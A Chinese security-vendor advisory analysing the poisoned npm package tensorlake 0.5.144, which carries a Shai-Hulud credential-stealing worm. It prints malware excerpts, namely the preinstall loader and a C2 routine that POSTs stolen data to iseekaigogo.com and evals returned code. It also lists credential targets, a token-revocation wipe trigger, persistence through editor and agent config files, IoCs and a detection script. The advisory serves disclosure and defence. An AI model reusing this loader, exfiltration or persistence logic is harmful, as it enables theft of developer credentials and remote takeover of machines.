AI投毒情报 | 智能体沙箱 SDK Tensorlake 遭受窃密蠕虫投毒

· 2026-10-10 15:00 · 29 阅读

原创 悬镜安全情报中心 2026-10-10 15:00 北京

月下载量超11万次的智能体沙箱 SDK Tensorlake 遭受Shai-Hulud窃密蠕虫投毒,请速排查!

AI风险情报概述

Summary

北京时间2026.10.8日9点13分,悬镜供应链安全情报中心在NPM官方仓库中监测到针对AI智能体沙箱运行时SDK Tensorlake 0.5.144 版本的供应链投毒攻击,攻击者通过盗用Tensorlake Github仓库管理员账号,将 Mini Shai-Hulud 窃密蠕虫(2026 年 Shai-Hulud 蠕虫新变种)直接提交至项目 main 分支,并借助项目自身的发布流水线推送至 NPM 仓库。这是继 Mastra 智能体开发框架投毒事件之后,又一起利用代码投毒蠕虫向 AI 智能体开发工具链发动的供应链攻击事件。

Tensorlake 主要提供运行 LLM 生成代码的隔离沙箱服务,其 NPM SDK 供开发者在 TypeScript 应用中创建与管理沙箱环境,NPM 仓库月下载量约 11 万次。沙箱隔离的是 LLM 生成的不可信代码,而针对该 SDK 安装阶段的恶意代码直接运行在开发者主机、应用服务器或CI/CD构建节点之上,SDK代码投毒先于沙箱隔离边界生效,并且天然继承了部署凭证等各类敏感权限。

tensorlake投毒版本0.5.144

针对此次AI供应链投毒事件,悬镜安全已于10月8日将投毒相关技术细节向供应链情报订阅用户推送预警。在此期间存在安装、更新 tensorlake 或拉取 tensorlakeai/tensorlake main 分支后执行 npm install 的个人开发者与企业,应重点排查自身系统是否已被感染入侵。

供应链投毒分析

Poisoning Analysis

本次投毒攻击有三个关键特征:

  • 真实仓库 + 有效来源证明:恶意版本构建自项目真实 main 分支,携带有效的 npm provenance 来源证明(SLSA签名链路完整)。任何信任 provenance的准入策略在本次投毒事件中都会失效。

  • 人质令牌(Hostage Token)破坏机制:蠕虫驻留 gh-token-monitor 监控服务,一旦检测到被盗 GitHub Token 被吊销(API 返回 40x),立即执行系统命令抹除用户主目录。

  • 明确的 AI 工具链指向:采集目标覆盖 Claude Code、Cursor、Windsurf、Kiro、Zed 等 AI 开发工具与MCP服务等配置文件,并通过植入 .claude/settings.json、.vscode/tasks.json 等具备可执行功能的配置文件间接实现编辑器/Agent 场景的二次恶意代码触发。

整个投毒攻击时间线如下所示:

北京时间     

攻击事件

10.07 / 09:20      

攻击者提交commit e90c47bb,新增lib/setup.mjs 与 lib/Math_Symbol.js 混淆恶意文件

10.07 / 09:24      

攻击者提交commit c79bc475,package.json中添加 preinstall 钩子

10.07 / 11:57      

攻击者提交commit e65ed94a,修改版本号为 0.5.144

10.08 / 08:08

攻击者手动触发publish_npm.yaml workflow : "Release - TypeScript SDK (npm)",打包发布到NPM官方仓库

10.08 / 09:12

NPM上架包含恶意代码的0.5.144版本

1

攻击路径:项目维护者账号被盗 + 发布流水线

攻击者并未直接盗取 NPM Token,而是控制了一个具备项目仓库管理员权限的 GitHub 账号(Shanshan Wang<cooleel@gmail.com>),通过 GitHub 将恶意代码提交至 main 分支(Web 界面提交由 GitHub 签名,8 个攻击者关联的恶意commit提交均显示为 verified),随后攻击者手动触发项目自带的发布工作流(publish_npm.yaml )完成仓库代码投毒,全程未经过任何 Pull Request 评审。

攻击者连续提交恶意commit

2

窃密蠕虫后门植入

攻击者在植入2个混淆恶意文件 lib/setup.mjs 与 lib/Math_Symbol.js 后,通过篡改 package.json 中的 preinstall 钩子实现在SDK安装/更新阶段即自动静默触发执行恶意代码加载器脚本。

package.json被植入preinstall

加载器 lib/setup.mjs (~32KB)采用 RC4 字符串混淆,核心逻辑如下:

  • 检测 CI 环境变量(CI、GITHUB_ACTIONS、GITLAB_CI、RUNNER_ENVIRONMENT等),如遇非 CI 环境直接退出;

  • 从 oven-sh/bun 官方 GitHub Release 下载 Bun 1.3.13 运行时;

  • 调用 Bun 执行窃密攻击载荷脚本文件 Math_Symbol.js(Bun进程可绕过部分针对 Node 进程的安全监控)。

    /** Bun release version to fetch. */
    const BUN_VERSION = '1.3.13';
    /** Payload script shipped next to this installer; executed by the Bun binary. */
    const ENTRY_FILE = 'Math_Symbol.js';
    /** Execute the downloaded Bun binary on the bundled payload script. */
    functionrunStage2(binPath) {
      const entry = path.join(__dirname, ENTRY_FILE);
      const stdio = process.platform === 'win32' ? 'ignore' : 'inherit';
      run(binPath, [entry], { stdio, cwd: __dirname });
    }
    /** Stay quiet on CI machines. */
    functionskipInstallHook() {
      const ci = process.env.CI;
      if(ci === 'true' || ci === '1') return true;
      if(process.env.GITHUB_ACTIONS === 'true') return true;
      if(process.env.GITLAB_CI === 'true') return true;
      if(process.env.RUNNER_ENVIRONMENT === 'github-hosted') return true;
      return false;
    }
    async function main() {
      if(skipInstallHook()) return;
      // Prefer an already-installed Bun; we only need it as an interpreter for the payload.
      if(hasCommand('bun')) {
        runStage2('bun');
        return;
      }
      const asset = getAssetName();
      const isWindows = process.platform === 'win32';
      const binName = isWindows ? 'bun.exe' : 'bun';
      const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
      const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'bun-dl-'));
      const zipPath = path.join(tmpDir, `${asset}.zip`);
      const binPath = path.join(tmpDir, binName);
      try {
        await download(url, zipPath);
        extractArchiveEntry(zipPath, `${asset}/${binName}`, tmpDir);
        fs.unlinkSync(zipPath);
        if(!isWindows) fs.chmodSync(binPath, 0o755);
        runStage2(binPath);
      } finally {
        fs.rmSync(tmpDir, { recursive: true, force: true });
      }
    }

    实际Mini Shai-Hulud窃密蠕虫核心代码为 lib/Math_Symbol.js (~836KB),采用多级混淆:

    • 字符串数组混淆:隐藏全部标识符;

    • 自定义 cipher:隐藏配置字符串,盐值 svksjrhjkcejg ;

    • AES-256-GCM:加密 11 个内嵌文件,包括脚本、钩子文件与 2 个 RSA 公钥。

    窃密蠕虫的敏感信息采集面覆盖开发者本机、云环境、CI/CD 与加密货币资产,并在俄语 locale 环境下主动退出。

    采集类别    

    采集目标    

    文件系统

    SSH 密钥、云 CLI 凭证文件、.npmrc、.env、Docker/Kubernetes 配置、~/.claude.json、~/.kiro/settings/mcp.json、Shell 历史

    加密货币钱包

    wallet.dat、Exodus、Electrum、Ledger Live,及 MetaMask、Phantom 等浏览器钱包扩展

    浏览器凭证

    从攻击者服务器下载二进制程序,以 dump -b all -c password -f json 参数运行提取各大主流浏览器保存的凭证、cookie等数据

    AWS

    STS 临时凭证、SSM Parameter Store、Secrets Manager、IMDS、ECS

    GitHub Actions

    从Runner.Worker进程内存中读取 secrets

    AI 开发工具

    .claude、.cursor、.kiro、Windsurf、Zed 及MCP服务等配置文件

    3

    命令控制与窃密数据外传 

    蠕虫主 C2 为硬编码域名 iseekaigogo.com,数据经 HTTPS POST 发送至 https://iseekaigogo.com/router。主通道失效时依次启用三级回退:

    1. 以太坊智能合约解析:通过 35 个公共 RPC 端点读取合约 0xb614155Fd88114d40549b259457Bcf921Df091B9(selector 0x53ed5143)获取最新 C2 域名,10 月 8 日该合约返回值即为 iseekaigogo.com。区块链不可篡改、不可下架的特性使 C2 解析通道极难被彻底切断;

    2. 签名 GitHub commit提交:搜索特定字符串 thebeautifulmarchoftime,仅信任内嵌 RSA 公钥签名的提交;

    3. Github仓库数据中转:将加密后的窃密数据提交至受害者账号下新建的公开仓库,仓库描述统一为 Shai-Hulud: Here We Go Again,GitHub 本身成为数据中转站。

    Github仓库数据中转

    窃密数据外传完成后,蠕虫代码还会每隔 45~90 秒轮询一次 C2 服务器并执行服务器返回的任意恶意代码,蠕虫通过 eval 直接运行,形成持久化的远程控制通道。

          applyRemoteCode(_0x3cb209) {
            let _0x5b9a01;
            try {
              _0x5b9a01 = JSON.parse(_0x3cb209);
            } catch {
              return;
            }
            if (typeof _0x5b9a01.code !== 'string' || _0x5b9a01.code.length === 0) {
              return;
            }
            try {
              eval(_0x5b9a01.code);
            } catch (_0x1b02b9) {
              _0x990158.error('C2 code channel failed: ' + _0x1b02b9);
            }
          }
          async send(_0xdd8a20) {
            _0x990158.log('Sending to ' + this.url);
            if (this.destination.dry_run) {
              _0x990158.log(_0xdd8a20);
              return;
            }
            let _0x790048 = await fetch(this.url, {
              method: 'POST',
              headers: {
                'Content-Type': 'application/json',
              },
              body: JSON.stringify(_0xdd8a20),
            });
            if (_0x790048.status !== 200) {
              throw Error('DomainSender: ' + this.url + ' returned status ' + _0x790048.status);
            }
            let _0x35abe8 = await _0x790048.text();
            this.applyRemoteCode(_0x35abe8);
          }
        }

      4

      凭证吊销监控及对抗破坏 

      本次攻击投放的 Mini Shai-Hulud 窃密蠕虫代码相对于以往具备更高的对抗性,其中最明显的功能就是加入了被盗取 Github Token 的吊销监控以及对抗破坏能力,目前仅对无组织的Github个人账号 Token 启动破坏机制。蠕虫会针对无组织的被盗 GitHub Token 安装名为 gh-token-monitor 的监控服务。

      • 监控服务每 60 秒以被盗 Token 请求一次 GitHub API,持续 24 小时;

      • 一旦 GitHub 返回 40x(如 Token 被吊销),立即执行用户目录删除命令;

      • 驻留形态跨平台:Windows 为 ONLOGON 计划任务(monitor.ps1),Linux 为 systemd user service;

      蠕虫安装凭证吊销监控服务(ONLOGON)

      如果以“第一时间吊销凭证”的常规应急方案来应对处置,在本事件中恰好会触发蠕虫代码的数据毁灭动作。正确的处置顺序必须是:先清除监控服务,再吊销轮换凭证。

      5

      GitHub 仓库投毒与 Agent 场景持久化

      蠕虫获取 GitHub Token 后,会进一步以 claude@users.noreply.github.com 为作者(提交信息伪装为 "chore: update dependencies")向受害者仓库植入具备代码可执行属性的配置文件(以Claude Code、VS Code、GitHub Actions workflow 为主):

      • .claude/router_runtime.js

      • .claude/settings.json

      • .claude/setup.mjs

      • .vscode/tasks.json

      • .vscode/setup.mjs

      此类"配置文件即代码"的持久化手法,使恶意逻辑在依赖被移除后仍可随代码编辑器及Coding Agent 启动而死灰复燃。

      Github仓库投毒

      6

      NPM 生态蠕虫扩散

      蠕虫会利用盗取的 NPM Token 对其所有可发布的 NPM 包注入恶意载荷文件(setup.mjs)并 篡改 package.json 添加 preinstall 钩子,最后递增补丁版本号后重新发布,形成跨生态的蠕虫扩散传播。

        NPM包篡改投毒

        7

        影响范围及IoC数据

        此次针对 tensorlake 供应链投毒涉及的组件包与恶意IoC数据如下表所示:

        投毒影响组件(purl格式)

        pkg:npm/tensorlake@0.5.144

        IoC

        备注    

        000c93dc2b13e10ef40485806e398f71

        lib/setup.mjs 文件 MD5

        f91f454045a064126d79d7cd70156db8

        lib/Math_Symbol.js 文件 MD5

        0xb614155Fd88114d40549b259457Bcf921Df091B9

        以太坊C2合约

        iseekaigogo.com

        C2域名

        排查方式

        Investigation Method

        1. 紧急缓解措施:清除凭证监控服务(必须先于吊销轮换 Token 凭证),备份重要数据后,检查 ~/.config/gh-token-monitor/ 目录,然后停止并删除对应服务(gh-token-monitor)或计划任务(ONLOGON);

        2. 立即轮换所有LLM API密钥、云凭证、CI/CD令牌、开发环境凭据(包括 Git、SSH、Kubernetes等);使用package-lock.json或npm shrinkwrap锁定依赖版本;

        3. 排查是否存在与恶意C2服务器(iseekaigogo.com)的网络连接;

        4. 排查横向扩散:检查 GitHub 账号下是否出现描述为 "Shai-Hulud: Here We Go Again" 的新建公开仓库;审计仓库是否存在claude@users.noreply.github.com 发起的异常提交、.claude/、.vscode/目录的异常变更及来历不明的 Actions 工作流;

        5. 对目标环境进行排查是否安装投毒版本,若安装则回滚至安全版本。

          # 检查是否安装了tensorlake 投毒版本
          npm list -g tensorlake@0.5.144
          # 如有恶意版本,回滚到上一安全版本
          npm install -g tensorlake@0.5.143 --save-exact

          恶意IoC快速排查脚本:

            #!/bin/bash
            # 功能:使用npm list 命令检测系统中是否安装恶意NPM包(遍历purl列表)
            # 用法: ./check_mal_npm_purls.sh 
            # ====================== 配置项 ======================
            # 检查模式: global(全局包) / local(当前项目包)
            CHECK_MODE="global"
            # ====================================================
            # 定义所有恶意NPM包的purl列表
            PURL_LIST=(
            "pkg:npm/tensorlake@0.5.144"
            )
            # 颜色定义(输出更清晰)
            RED='\033[0;31m'
            GREEN='\033[0;32m'
            YELLOW='\033[1;33m'
            NC='\033[0m' # 无颜色
            echo -e "${YELLOW}===== 恶意npm包安装检查脚本 =====${NC}"
            echo -e "${YELLOW}检查模式: ${CHECK_MODE}${NC}"
            echo -e "${YELLOW}=============================${NC}"
            echo ""
            # 统计变量
            total=${
            #PURL
            _LIST[@]}
            installed=0
            not_installed=0
            # 遍历所有purl
            for purl in "${PURL_LIST[@]}"; do
                # 1. 解析purl: 提取包名和版本号
                # 格式: pkg:npm/包名@版本号
                package=$(echo "$purl" | sed -E 's|pkg:npm/([^@]+)@.*|\1|')
                version=$(echo "$purl" | sed -E 's|.*@([0-9.]+)|\1|')
                echo -e "检查恶意包: ${YELLOW}${package}@${version}${NC}"
                # 2. 执行npm检查命令
                if [ "$CHECK_MODE" = "global" ]; then
                    # 检查全局安装的包
                    npm_list_output=$(npm list -g "$package@$version" --depth=0 2>/dev/null)
                else
                    # 检查当前项目的包
                    npm_list_output=$(npm list "$package@$version" --depth=0 2>/dev/null)
                fi
                # 3. 判断是否安装(npm list 找到包会输出包信息,未找到则为空/报错)
                if echo "$npm_list_output" | grep -q "$package@$version"; then
                    echo -e "  ! ${RED}已安装恶意包${NC}"
                    ((installed++))
                else
                    # echo -e "  ❌ ${GREEN}未安装恶意组件${NC}"
                    ((not_installed++))
                fi
                echo "----------------------------------------"
            done
            # 输出最终统计
            echo ""
            echo -e "${YELLOW}===== 检查结果统计 =====${NC}"
            echo -e "总检查数量: ${total}"
            echo -e "✅ 已安装恶意包: ${GREEN}${installed}${NC}"
            # echo -e "❌ 未安装: ${RED}${not_installed}${NC}"
            echo -e "${YELLOW}========================${NC}"

            情报驱动,以AI治理AI!悬镜安全新一代智能体AI原生安全治理平台“问境AIST”AI原生安全测试平台已第一时间将 AI 供应链安全情报纳入原生AI治理框架,当外部出现针对特定 AI 框架、模型组件或数据链路的 0Day 攻击与投毒事件时,AIST平台能够根据 AI-BOM 快速识别受影响范围,定位关联资产与代码链路,并为修复和处置提供更具针对性的依据,帮助企业构建起小时级的风险响应闭环。

            最新推荐阅读

            部分标杆客户

            图片

            关于“悬镜安全”

            悬镜安全,起源于北京大学网络安全技术研究团队“XMIRROR”。作为新一代数字供应链安全开拓者,首创基于“AI原生安全+软件供应链安全+AI供应链安全情报”的新一代数字供应链安全治理体系,以AI治理AI,从源头治理AI数据准备、模型训练调试、智能体开发部署到运行迭代等关键环节面临的AI原生安全风险,帮助企业用户构筑一套从“代码与组件”到“数据与智能”的智能体AI全生命周期内生安全治理体系,持续守护新一代数字供应链安全。

            跳转微信打开

            本文转载自微信公众号「悬镜安全」,查看原文。版权归原作者所有,如有侵权请联系删除。